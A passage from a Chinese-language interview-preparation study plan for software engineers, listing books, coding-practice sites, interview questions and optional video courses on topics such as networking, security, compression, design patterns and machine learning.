一旦你理解了每日计划里的所有内容,就去读上面所列的书并完成练习,然后开始读下面所列的书并做练习,之后就可以开始实战写代码了(本文再往后的部分) **首先阅读:** - [ ] [Programming Interviews Exposed: Secrets to Landing Your Next Job, 2nd Edition](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047012167X.html) **然后阅读 (这本获得了很多推荐, 但是不在 Google coaching 的文档里):** - [ ] [Cracking the Coding Interview, 6th Edition](http://www.amazon.com/Cracking-Coding-Interview-6th-Programming/dp/0984782850/) - 如果你看到有人在看 "The Google Resume", 实际上它和 "Cracking the Coding Interview" 是同一个作者写的,而且后者是升级版。 ### 附加书单 这些没有被 Google 推荐阅读,不过我因为需要这些背景知识所以也把它们列在了这里。 - [ ] C Programming Language, Vol 2 - [练习的答案](https://github.com/lekkas/c-algorithms) - [ ] C++ Primer Plus, 6th Edition - [ ] [《Unxi 环境高级编程》 The Unix Programming Environment](http://product.half.ebay.com/The-UNIX-Programming-Environment-by-Brian-W-Kernighan-and-Rob-Pike-1983-Other/54385&tg=info) - [ ] [《编程珠玑》 Programming Pearls](http://www.amazon.com/Programming-Pearls-2nd-Jon-Bentley/dp/0201657880) - [ ] [Algorithms and Programming: Problems and Solutions](http://www.amazon.com/Algorithms-Programming-Solutions-Alexander-Shen/dp/0817638474) ### 如果你有时间 - [ ] [Introduction to Algorithms](https://www.amazon.com/Introduction-Algorithms-3rd-MIT-Press/dp/0262033844) - [ ] [Elements of Programming Interviews](https://www.amazon.com/Elements-Programming-Interviews-Insiders-Guide/dp/1479274836) - 如果你希望在面试里用 C++ 写代码,这本书的代码全都是 C++ 写的 - 通常情况下能找到解决方案的好书. ## 编码练习和挑战 一旦你学会了理论基础,就应该把它们拿出来练练。 尽量坚持每天做编码练习,越多越好。 编程问题预备: - [ ] [不错的介绍 (摘自 System Design 章节): 算法设计:](http://www.hiredintech.com/algorithm-design/) - [ ] [如何找到解决方案](https://www.topcoder.com/community/data-science/data-science-tutorials/how-to-find-a-solution/) - [ ] [如何剖析 Topcoder 题目描述](https://www.topcoder.com/community/data-science/data-science-tutorials/how-to-dissect-a-topcoder-problem-statement/) - [ ] [Topcoders 里用到的数学](https://www.topcoder.com/community/data-science/data-science-tutorials/mathematics-for-topcoders/) - [ ] [动态规划 – 从入门到精通](https://www.topcoder.com/community/data-science/data-science-tutorials/dynamic-programming-from-novice-to-advanced/) - [MIT 面试材料](https://courses.csail.mit.edu/iap/interview/materials.php) - [针对编程语言本身的练习](http://exercism.io/languages) 编码练习平台: - [LeetCode](https://leetcode.com/) - [TopCoder](https://www.topcoder.com/) - [Project Euler (数学方向为主)](https://projecteuler.net/index.php?section=problems) - [Codewars](http://www.codewars.com) - [HackerRank](https://www.hackerrank.com/) - [Codility](https://codility.com/programmers/) - [InterviewCake](https://www.interviewcake.com/) - [InterviewBit](https://www.interviewbit.com/invite/icjf) - [模拟大公司的面试](http://www.gainlo.co/) ## 当你临近面试时 - [ ] 搞定代码面试 (videos): - [Cracking The Code Interview](https://www.youtube.com/watch?v=4NIb9l3imAo) - [Cracking the Coding Interview - 全栈系列](https://www.youtube.com/watch?v=Eg5-tdAwclo) - [Ask Me Anything: Gayle Laakmann McDowell (Cracking the Coding Interview 的作者)](https://www.youtube.com/watch?v=1fqxMuPmGak) ## 你的简历 - [10 条小贴士让你写出一份还算不错的简历](http://steve-yegge.blogspot.co.uk/2007_09_01_archive.html) - 这是搞定面试的第一个关键步骤 ## 当面试来临的时候 随着下面列举的问题思考下你可能会遇到的 20 个面试问题 每个问题准备 2-3 种回答 准备点故事,不要只是摆一些你完成的事情的数据,相信我,人人都喜欢听故事 - 你为什么想得到这份工作? - 你解决过的最有难度的问题是什么? - 面对过的最大挑战是什么? - 见过的最好或者最坏的设计是怎么样的? - 对某项 Google 产品提出改进建议。 - 你作为一个个体同时也是团队的一员,如何达到最好的工作状态? - 你的什么技能或者经验是你的角色中不可或缺的?为什么? - 你在某份工作或某个项目中最享受的是什么? - 你在某份工作或某个项目中面临过的最大挑战是什么? - 你在某份工作或某个项目中遇到过的最蛋疼的 Bug 是什么样的? - 你在某份工作或某个项目中学到了什么? - 你在某份工作或某个项目中哪些地方还可以做的更好? ## 问面试官的问题 我会问的一些:(可能我已经知道了答案但我想听听面试官的看法或者了解团队的前景): - 团队多大规模? - 开发周期是怎样的? 会使用瀑布流/极限编程/敏捷开发么? - 经常会为 deadline 加班么? 或者是有弹性的? - 团队里怎么做技术选型? - 每周平均开多少次会? - 你觉得工作环境有助于员工集中精力吗? - 目前正在做什么工作? - 喜欢这些事情吗? - 工作期限是怎么样的? ## 当你获得了梦想的职位 我还能说些什么呢,恭喜你! - [我希望在 Google 的第一天就知道的 10 件事](https://medium.com/@moonstorming/10-things-i-wish-i-knew-on-my-first-day-at-google-107581d87286#.livxn7clw) 坚持继续学习。 得到这份工作只是一个开始。 --- ***************************************************************************************************** ***************************************************************************************************** 下面的内容都是可选的。这些是我的推荐,不是 Google 的。 通过学习这些内容,你将会得到更多的有关 CS 的概念,并将为所有的软件工程工作做更好的准备。 ***************************************************************************************************** ***************************************************************************************************** --- ## 附加的学习 - ### Unicode - [ ] [每一个软件开发者的绝对最低限度,必须要知道的关于 Unicode 和字符集知识]( http://www.joelonsoftware.com/articles/Unicode.html) - [ ] [关于处理文本需要的编码和字符集, 每个程序员绝对需要知道的知识](http://kunststube.net/encoding/) - ### 字节顺序 - [ ] [大、小端字节序](https://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Data/endian.html) - [ ] [大端字节 Vs 小端字节(视频)](https://www.youtube.com/watch?v=JrNF0KRAlyo) - [ ] [大、小端字节序的里里外外(Big And Little Endian Inside/Out) (视频)](https://www.youtube.com/watch?v=oBSuXP-1Tc0) - 内核开发者的讨论非常技术性,如果大多数都超出了你的理解范围,不要太担心。 - 前半段已经足够了。 - ### Emacs and vi(m) - Yegge 的建议,从一个很早以前的亚马逊招聘信息中而来:熟悉基于 unix 的代码编辑器 - vi(m): - [使用 vim 进行编辑 01 - 安装, 设置和模式 (视频)](https://www.youtube.com/watch?v=5givLEMcINQ&index=1&list=PL13bz4SHGmRxlZVmWQ9DvXo1fEg4UdGkr) - [VIM 的冒险之旅](http://vim-adventures.com/) - 4 个视频集: - [vi/vim 编辑器 - 课程 1](https://www.youtube.com/watch?v=SI8TeVMX8pk) - [vi/vim 编辑器 - 课程 2](https://www.youtube.com/watch?v=F3OO7ZIOaJE) - [vi/vim 编辑器 - 课程 4](https://www.youtube.com/watch?v=1lYD5gwgZIA) - [vi/vim 编辑器 - 课程 3](https://www.youtube.com/watch?v=ZYEccA_nMaI) - [使用 Vi 而不是 Emacs](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Using_Vi_instead_of_Emacs) - emacs: - [基础 Emacs 教程 (视频)](https://www.youtube.com/watch?v=hbmV1bnQ-i0) - 3 个视频集: - [Emacs 教程 (初学者) -第 1 部分- 文件命令, 剪切/复制/粘贴, 自定义命令](https://www.youtube.com/watch?v=ujODL7MD04Q) - [Emacs 教程 (初学者 -第 2 部分- Buffer 管理, 搜索, M-x grep 和 rgrep 模式](https://www.youtube.com/watch?v=XWpsRupJ4II) - [Emacs 教程 (初学者 -第 3 部分- 表达式, 声明, ~/.emacs 文件和包机制](https://www.youtube.com/watch?v=paSgzPso-yc) - [Evil 模式: 或许, 我是怎样对 Emacs 路人转粉的 (视频)](https://www.youtube.com/watch?v=JWD1Fpdd4Pc) - [使用 Emacs 开发 C 程序](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Writing_C_programs_with_Emacs) - [(或许) 深度组织模式:管理结构 (视频)](https://www.youtube.com/watch?v=nsGYet02bEk) - ### Unix 命令行工具 - 下列内容中的优秀工具由的 Yegge 推荐,Yegge 目前致力于 Amazon 人事招聘处。 - [ ] bash - [ ] cat - [ ] grep - [ ] sed - [ ] awk - [ ] curl or wget - [ ] sort - [ ] tr - [ ] uniq - [ ] [strace](https://en.wikipedia.org/wiki/Strace) - [ ] [tcpdump](https://danielmiessler.com/study/tcpdump/) - ### 信息资源 (视频) - [ ] [Khan Academy 可汗学院](https://www.khanacademy.org/computing/computer-science/informationtheory) - [ ] 更多有关马尔可夫的内容: - [ ] [Core Markov Text Generation马尔可夫内容生成](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/waxgx/core-markov-text-generation) - [ ] [Core Implementing Markov Text Generation马尔可夫内容生成补充](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/gZhiC/core-implementing-markov-text-generation) - [ ] [Project = Markov Text Generation Walk Through一个马尔可夫内容生成器的项目](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/EUjrq/project-markov-text-generation-walk-through) - 关于更多信息,请参照下方 MIT 6.050J 信息和系统复杂度的内容. - ### 奇偶校验位 & 汉明码 (视频) - [ ] [入门](https://www.youtube.com/watch?v=q-3BctoUpHE) - [ ] [奇偶校验位](https://www.youtube.com/watch?v=DdMcAUlxh1M) - [ ] 汉明码(Hamming Code): - [发现错误](https://www.youtube.com/watch?v=1A_NcXxdoCc) - [修正错误](https://www.youtube.com/watch?v=JAMLuxdHH8o) - [ ] [检查错误](https://www.youtube.com/watch?v=wbH2VxzmoZk) - ### 系统熵值(系统复杂度) - 请参考下方视频 - 观看之前,请先确定观看了信息论的视频 - [ ] [信息理论, 克劳德·香农, 熵值, 系统冗余, 数据比特压缩 (视频)](https://youtu.be/JnJq3Py0dyM?t=176) - ### 密码学 - 请参考下方视频 - 观看之前,请先确定观看了信息论的视频 - [ ] [可汗学院](https://www.khanacademy.org/computing/computer-science/密码学) - [ ] [密码学: 哈希函数](https://www.youtube.com/watch?v=KqqOXndnvic&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=30) - [ ] [密码学: 加密](https://www.youtube.com/watch?v=9TNI2wHmaeI&index=31&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - ### 压缩 - 观看之前,请先确定观看了信息论的视频 - [ ] 压缩 (视频): - [ ] [压缩](https://www.youtube.com/watch?v=Lto-ajuqW3w) - [ ] [压缩熵值](https://www.youtube.com/watch?v=M5c_RFKVkko) - [ ] [由上而下的树 (霍夫曼编码树)](https://www.youtube.com/watch?v=umTbivyJoiI) - [ ] [额外比特 - 霍夫曼编码树](https://www.youtube.com/watch?v=DV8efuB3h2g) - [ ] [优雅的压缩数据 (无损数据压缩方法)](https://www.youtube.com/watch?v=goOa3DGezUA) - [ ] [Text Compression Meets Probabilities](https://www.youtube.com/watch?v=cCDCfoHTsaU) - [ ] [数据压缩的艺术](https://www.youtube.com/playlist?list=PLOU2XLYxmsIJGErt5rrCqaSGTMyyqNt2H) - [ ] [(可选) 谷歌开发者: GZIP 还差远了呢!](https://www.youtube.com/watch?v=whGwm0Lky2s) - ### 网络 (视频) - [ ] [可汗学院](https://www.khanacademy.org/computing/computer-science/internet-intro) - [ ] [网络传输协议中的数据压缩](https://www.youtube.com/watch?v=Vdc8TCESIg8) - [ ] [TCP/IP 和 OSI 模型解析!](https://www.youtube.com/watch?v=e5DEVa9eSN0) - [ ] [TCP/IP 教程:传输数据包.](https://www.youtube.com/watch?v=nomyRJehhnM) - [ ] [HTTP](https://www.youtube.com/watch?v=WGJrLqtX7As) - [ ] [SSL 和 HTTPS](https://www.youtube.com/watch?v=S2iBR2ZlZf0) - [ ] [SSL/TLS](https://www.youtube.com/watch?v=Rp3iZUvXWlM) - [ ] [HTTP 2.0](https://www.youtube.com/watch?v=E9FxNzv1Tr8) - [ ] [视频](https://www.youtube.com/playlist?list=PLEbnTDJUr_IegfoqO4iPnPYQui46QqT0j) - [ ] [子网络解密 - 第五部分 经典内部域名指向 CIDR 标记](https://www.youtube.com/watch?v=t5xYI0jzOf4) - ### 计算机安全 - [MIT](https://www.youtube.com/playlist?list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [威胁模型:入门](https://www.youtube.com/watch?v=GqmQg-cszw4&index=1&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [控制攻击](https://www.youtube.com/watch?v=6bwzNg5qQ0o&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=2) - [ ] [缓冲数据注入和防御](https://www.youtube.com/watch?v=drQyrzRoRiA&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=3) - [ ] [优先权区分](https://www.youtube.com/watch?v=6SIJmoE9L9g&index=4&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [能力](https://www.youtube.com/watch?v=8VqTSY-11F4&index=5&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [在沙盒中运行原生代码](https://www.youtube.com/watch?v=VEV74hwASeU&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh&index=6) - [ ] [网络安全模型](https://www.youtube.com/watch?v=chkFBigodIw&index=7&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [网络安全应用](https://www.youtube.com/watch?v=EBQIGy1ROLY&index=8&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [标志化执行](https://www.youtube.com/watch?v=yRVZPvHYHzw&index=9&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [网络安全](https://www.youtube.com/watch?v=SIEVvk3NVuk&index=11&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [网络协议](https://www.youtube.com/watch?v=QOtA76ga_fY&index=12&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - [ ] [旁路攻击](https://www.youtube.com/watch?v=PuVMkSEcPiI&index=15&list=PLUl4u3cNGP62K2DjQLRxDNRi0z2IRWnNh) - ### 释放缓存 - [ ] [Java 释放缓存; 片段化数据 (视频)](https://www.youtube.com/watch?v=StdfeXaKGEc&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=25) - [ ] [编译器 (视频)](https://www.youtube.com/playlist?list=PLO9y7hOkmmSGTy5z6HZ-W4k2y8WXF7Bff) - [ ] [Python 释放缓存 (视频)](https://www.youtube.com/watch?v=iHVs_HkjdmI) - [ ] [深度解析:论释放缓存在 JAVA 中的重要性](https://www.infoq.com/presentations/garbage-collection-benefits) - [ ] [深度解析:论释放缓存在 Python 中的重要性(视频)](https://www.youtube.com/watch?v=P-8Z0-MhdQs&list=PLdzf4Clw0VbOEWOS_sLhT_9zaiQDrS5AR&index=3) - ### 并行/并发编程 - [ ] [Coursera (Scala)](https://www.coursera.org/learn/parprog1/home/week/1) - [ ] [论并行/并发编程如何提高 Python 执行效率 (视频)](https://www.youtube.com/watch?v=uY85GkaYzBk) - ### 设计模式 - [ ] [UML统一建模语言概览 (视频)](https://www.youtube.com/watch?v=3cmzqZzwNDM&list=PLGLfVvz_LVvQ5G-LdJ8RLqe-ndo7QITYc&index=3) - [ ] 主要有如下的设计模式: - [ ] s(strategy) - [ ] singleton - [ ] adapter - [ ] prototype - [ ] decorator - [ ] visitor - [ ] factory, abstract factory - [ ] facade - [ ] observer - [ ] proxy - [ ] delegate - [ ] command - [ ] state - [ ] memento - [ ] iterator - [ ] composite - [ ] flyweight - [ ] [第六章 (第 1 部分 ) - 设计模式 (视频)](https://youtu.be/LAP2A80Ajrg?list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO&t=3344) - [ ] [第六章 (第 2 部分 ) - Abstraction-Occurrence, General Hierarchy, Player-Role, Singleton, Observer, Delegation (视频)](https://www.youtube.com/watch?v=U8-PGsjvZc4&index=12&list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO) - [ ] [第六章 (第 3 部分 ) - Adapter, Facade, Immutable, Read-Only Interface, Proxy (video)](https://www.youtube.com/watch?v=7sduBHuex4c&index=13&list=PLJ9pm_Rc9HesnkwKlal_buSIHA-jTZMpO) - [ ] [视频](https://www.youtube.com/playlist?list=PLF206E906175C7E07) - [ ] [Head Fisrt 设计模型](https://www.amazon.com/Head-First-Design-Patterns-Freeman/dp/0596007124) - 尽管这本书叫做设计模式:重复使用模块,但是我还是认为Head First是对于新手来说很不错的书。 - [ ] [基于实际操作对于入门开发者的建议](https://sourcemaking.com/design-patterns-and-tips) - ### 信息传输, 序列化,和队列化的系统 - [ ] [Thrift](https://thrift.apache.org/) - [教程](http://thrift-tutorial.readthedocs.io/en/latest/intro.html) - [ ] [协议缓冲](https://developers.google.com/protocol-buffers/) - [教程](https://developers.google.com/protocol-buffers/docs/tutorials) - [ ] [gRPC](http://www.grpc.io/) - [gRPC 对于JAVA开发者的入门教程(视频)](https://www.youtube.com/watch?v=5tmPvSe7xXQ&list=PLcTqM9n_dieN0k1nSeN36Z_ppKnvMJoly&index=1) - [ ] [Redis](http://redis.io/) - [教程](http://try.redis.io/) - [ ] [Amazon的 SQS 系统 (队列)](https://aws.amazon.com/sqs/) - [ ] [Amazon的 SNS 系统 (pub-sub)](https://aws.amazon.com/sns/) - [ ] [RabbitMQ](https://www.rabbitmq.com/) - [入门教程](https://www.rabbitmq.com/getstarted.html) - [ ] [Celery](http://www.celeryproject.org/) - [Celery入门](http://docs.celeryproject.org/en/latest/getting-started/first-steps-with-celery.html) - [ ] [ZeroMQ](http://zeromq.org/) - [入门教程](http://zeromq.org/intro:read-the-manual) - [ ] [ActiveMQ](http://activemq.apache.org/) - [ ] [Kafka](http://kafka.apache.org/documentation.html#introduction) - [ ] [MessagePack](http://msgpack.org/index.html) - [ ] [Avro](https://avro.apache.org/) - ### 快速傅里叶变换 - [ ] [什么是傅立叶变换?论傅立叶变换的用途](http://www.askamathematician.com/2012/09/q-what-is-a-fourier-transform-what-is-it-used-for/) - [ ] [什么是傅立叶变换? (视频)](https://www.youtube.com/watch?v=Xxut2PN-V8Q) - [ ] [关于 FFT 的不同观点 (视频)](https://www.youtube.com/watch?v=iTMn0Kt18tg&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=4) - [ ] [FTT 是什么](http://jakevdp.github.io/blog/2013/08/28/understanding-the-fft/) - ### 布隆过滤器 - 给一个布隆过滤器m比特和k个哈希函数,所有的注入和相关测试都会是通过。 - [布隆过滤器](https://www.youtube.com/watch?v=-SuTGoFYjZs) - [布隆过滤器 | 数据挖掘 | Stanford University](https://www.youtube.com/watch?v=qBTdukbzc78) - [教程](http://billmill.org/bloomfilter-tutorial/) - [如何写一个布隆过滤器应用](http://blog.michaelschmatz.com/2016/04/11/how-to-write-a-bloom-filter-cpp/) - ### van Emde Boas 树 - [ ] [争论: van Emde Boas 树 (视频)](https://www.youtube.com/watch?v=hmReJCupbNU&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=6) - [ ] [MIT课堂笔记](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-046j-design-and-analysis-of-algorithms-spring-2012/lecture-notes/MIT6_046JS12_lec15.pdf) - ### 更深入的数据结构 - [ ] [CS 61B 第 39 课: 更深入的数据结构](https://youtu.be/zksIj9O8_jc?list=PL4BBB74C7D2A1049C&t=950) - ### 跳表 - "有一种非常迷幻的数据类型" - Skiena - [ ] [随机化: 跳表 (视频)](https://www.youtube.com/watch?v=2g9OSRKJuzM&index=10&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [更生动详细的解释](https://en.wikipedia.org/wiki/Skip_list) - ### 网络流 - [ ] [5分钟简析Ford-Fulkerson (视频)](https://www.youtube.com/watch?v=v1VgJmkEJW0) - [ ] [Ford-Fulkerson 算法 (视频)](https://www.youtube.com/watch?v=v1VgJmkEJW0) - [ ] [网络流 (视频)](https://www.youtube.com/watch?v=2vhN4Ice5jI) - ### 不相交集 & 联合查找 - [ ] [不相交集](https://en.wikipedia.org/wiki/Disjoint-set_data_structure) - [ ] [UCB 61B - 不相交集; 排序 & 选择(视频)](https://www.youtube.com/watch?v=MAEGXTwmUsI&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=21) - [ ] Coursera (not needed since the above video explains it great): - [ ] [概览](https://www.coursera.org/learn/data-structures/lecture/JssSY/overview) - [ ] [初级实践](https://www.coursera.org/learn/data-structures/lecture/EM5D0/naive-implementations) - [ ] [树状结构](https://www.coursera.org/learn/data-structures/lecture/Mxu0w/trees) - [ ] [合并树状结构](https://www.coursera.org/learn/data-structures/lecture/qb4c2/union-by-rank) - [ ] [路径压缩](https://www.coursera.org/learn/data-structures/lecture/Q9CVI/path-compression) - [ ] [分析选项](https://www.coursera.org/learn/data-structures/lecture/GQQLN/analysis-optional) - ### 快速处理数学 - [ ] [整数运算, Karatsuba 乘法 (视频)](https://www.youtube.com/watch?v=eCaXlAaN2uE&index=11&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [中国剩余定理 (在密码学中的使用) (视频)](https://www.youtube.com/watch?v=ru7mWZJlRQg) - ### 树堆 (Treap) - 一个二叉搜索树和一个堆的组合 - [ ] [树堆](https://en.wikipedia.org/wiki/Treap) - [ ] [数据结构:树堆的讲解(video)](https://www.youtube.com/watch?v=6podLUYinH8) - [ ] [集合操作的应用(Applications in set operations)](https://www.cs.cmu.edu/~scandal/papers/treaps-spaa98.pdf) - ### 线性规划(Linear Programming)(视频) - [ ] [线性规划](https://www.youtube.com/watch?v=M4K6HYLHREQ) - [ ] [寻找最小成本](https://www.youtube.com/watch?v=2ACJ9ewUC6U) - [ ] [寻找最大值](https://www.youtube.com/watch?v=8AA_81xI3ik) - ### 几何:凸包(Geometry, Convex hull)(视频) - [ ] [Graph Alg. IV: 几何算法介绍 - 第 9 课](https://youtu.be/XIAQRlNkJAw?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3164) - [ ] [Graham & Jarvis: 几何算法 - 第 10 课](https://www.youtube.com/watch?v=J5aJEcOr6Eo&index=10&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [Divide & Conquer: 凸包, 中值查找](https://www.youtube.com/watch?v=EzeYI7p9MjU&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=2) - ### 离散数学 - 查看下面的视频:(这里没看到视频= =) - ### 机器学习(Machine Learning) - [ ] 为什么学习机器学习? - [ ] [谷歌如何将自己改造成一家「机器学习优先」公司?](https://backchannel.com/how-google-is-remaking-itself-as-a-machine-learning-first-company-ada63defcb70) - [ ] [智能计算机系统的大规模深度学习 (视频)](https://www.youtube.com/watch?v=QSaZGT4-6EY) - [ ] [Peter Norvig:深度学习和理解与软件工程和验证的对比](https://www.youtube.com/watch?v=X769cyzBNVw) - [ ] [谷歌云机器学习工具(视频)](https://www.youtube.com/watch?v=Ja2hxBAwG_0) - [ ] [谷歌开发者机器学习清单 (Scikit Learn 和 Tensorflow) (视频)](https://www.youtube.com/playlist?list=PLOU2XLYxmsIIuiBfYad6rFYQU_jL2ryal) - [ ] [Tensorflow (视频)](https://www.youtube.com/watch?v=oZikw5k_2FM) - [ ] [Tensorflow 教程](https://www.tensorflow.org/versions/r0.11/tutorials/index.html) - [ ] [Python 实现神经网络实例教程(使用 Theano)](http://www.analyticsvidhya.com/blog/2016/04/neural-networks-python-theano/) - 课程: - [ ] [很棒的初级课程:机器学习](https://www.coursera.org/learn/machine-learning) - [视频教程](https://www.youtube.com/playlist?list=PLZ9qNFMHZ-A4rycgrgOYma6zxF4BZGGPW) - 看第 12-18 集复习线性代数(第 14 集和第 15 集是重复的) - [ ] [机器学习中的神经网络](https://www.coursera.org/learn/neural-networks) - [ ] [Google 深度学习微学位](https://www.udacity.com/course/deep-learning--ud730) - [ ] [Google/Kaggle 机器学习工程师微学位](https://www.udacity.com/course/machine-learning-engineer-nanodegree-by-google--nd009) - [ ] [无人驾驶工程师微学位](https://www.udacity.com/drive) - [ ] [Metis 在线课程 (两个月 99 美元)](http://www.thisismetis.com/explore-data-science) - 资源: - 书籍: Data Science from Scratch: First Principles with Python: https://www.amazon.com/Data-Science-Scratch-Principles-Python/dp/149190142X - 网站: Data School: http://www.dataschool.io/ - ### Go 语言 - [ ] 视频: - [ ] [为什么学习 Go 语言?](https://www.youtube.com/watch?v=FTl0tl9BGdc) - [ ] [Go 语言编程](https://www.youtube.com/watch?v=CF9S4QZuV30) - [ ] [Go 语言之旅](https://www.youtube.com/watch?v=ytEkHepK08c) - [ ] 书籍: - [ ] [Go 语言编程入门 (免费在线阅读)](https://www.golang-book.com/books/intro) - [ ] [Go 语言圣经 (Donovan & Kernighan)](https://www.amazon.com/Programming-Language-Addison-Wesley-Professional-Computing/dp/0134190440) - [ ] [Go 语言新手训练营](https://www.golang-book.com/guides/bootcamp) -- ## 一些主题的额外内容 我为前面提到的某些主题增加了一些额外的内容,之所以没有直接添加到前面,是因为这样很容易导致某个主题内容过多。毕竟你想在本世纪找到一份工作,对吧? - [ ] **动态规划的更多内容** (视频) - [ ] [6.006: 动态规划 I: 斐波那契数列, 最短路径](https://www.youtube.com/watch?v=OQ5jsbhAv_M&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=19) - [ ] [6.006: 动态规划 II: 文本匹配, 二十一点/黑杰克](https://www.youtube.com/watch?v=ENyox7kNKeY&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=20) - [ ] [6.006: 动态规划 III: 最优加括号方式, 最小编辑距离, 背包问题](https://www.youtube.com/watch?v=ocZMDMZwhCY&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=21) - [ ] [6.006: 动态规划 IV: 吉他指法,拓扑,超级马里奥.](https://www.youtube.com/watch?v=tp4_UXaVyx8&index=22&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [6.046: 动态规划: 动态规划进阶](https://www.youtube.com/watch?v=Tw1k46ywN6E&index=14&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [6.046: 动态规划: 所有点对最短路径](https://www.youtube.com/watch?v=NzgFUwOaoIw&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=15) - [ ] [6.046: 动态规划: 更多示例](https://www.youtube.com/watch?v=krZI60lKPek&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=12) - [ ] **图形处理进阶** (视频) - [ ] [异步分布式算法: 对称性破缺,最小生成树](https://www.youtube.com/watch?v=mUBmcbbJNf4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=27) - [ ] [异步分布式算法: 最小生成树](https://www.youtube.com/watch?v=kQ-UQAzcnzA&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=28) - [ ] MIT **概率论** (mathy, and go slowly, which is good for mathy things) (视频): - [ ] [MIT 6.042J - 概率论概述](https://www.youtube.com/watch?v=SmFwFdESMHI&index=18&list=PLB7540DEDD482705B) - [ ] [MIT 6.042J - 条件概率 Probability](https://www.youtube.com/watch?v=E6FbvM-FGZ8&index=19&list=PLB7540DEDD482705B) - [ ] [MIT 6.042J - 独立](https://www.youtube.com/watch?v=l1BCv3qqW4A&index=20&list=PLB7540DEDD482705B) - [ ] [MIT 6.042J - 随机变量](https://www.youtube.com/watch?v=MOfhhFaQdjw&list=PLB7540DEDD482705B&index=21) - [ ] [MIT 6.042J - 期望 I](https://www.youtube.com/watch?v=gGlMSe7uEkA&index=22&list=PLB7540DEDD482705B) - [ ] [MIT 6.042J - 期望 II](https://www.youtube.com/watch?v=oI9fMUqgfxY&index=23&list=PLB7540DEDD482705B) - [ ] [MIT 6.042J - 大偏差](https://www.youtube.com/watch?v=q4mwO2qS2z4&index=24&list=PLB7540DEDD482705B) - [ ] [MIT 6.042J - 随机游走](https://www.youtube.com/watch?v=56iFMY8QW2k&list=PLB7540DEDD482705B&index=25) - [ ] [Simonson: 近似算法 (视频)](https://www.youtube.com/watch?v=oDniZCmNmNw&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=19) ## 视频系列 坐下来享受一下吧。"netflix and skill" :P - [ ] [个人的动态规划问题列表 (都是短视频哟)](https://www.youtube.com/playlist?list=PLrmLmBdmIlpsHaNTPP_jHHDx_os9ItYXr) - [ ] [x86 架构,汇编,应用程序 (11 个视频)](https://www.youtube.com/playlist?list=PL038BE01D3BAEFDB0) - [ ] [MIT 18.06 线性代数,2005 年春季 (35 个视频)](https://www.youtube.com/playlist?list=PLE7DDD91010BC51F8) - [ ] [绝妙的 MIT 微积分:单变量微积分](https://www.youtube.com/playlist?list=PL3B08AE665AB9002A) - [ ] [计算机科学 70, 001 - 2015 年春季 - 离散数学和概率理论](https://www.youtube.com/playlist?list=PL-XXv-cvA_iD8wQm8U0gG_Z1uHjImKXFy) - [ ] [离散数学 (19 个视频)](https://www.youtube.com/playlist?list=PL3o9D4Dl2FJ9q0_gtFXPh_H4POI5dK0yG) - [ ] CSE373 - 算法分析 (25 个视频) - [Skiena 的算法设计手册讲座](https://www.youtube.com/watch?v=ZFjhkohHdAA&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=1) - [ ] [UC Berkeley 61B (2014 年春季): 数据结构 (25 个视频)](https://www.youtube.com/watch?v=mFPmKGIrQs4&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd) - [ ] [UC Berkeley 61B (2006 年秋季): 数据结构 (39 个视频)]( https://www.youtube.com/playlist?list=PL4BBB74C7D2A1049C) - [ ] [UC Berkeley 61C: 计算机结构 (26 个视频)](https://www.youtube.com/watch?v=gJJeUFyuvvg&list=PL-XXv-cvA_iCl2-D-FS5mk0jFF6cYSJs_) - [ ] [OOSE: 使用 UML 和 Java 进行软件开发 (21 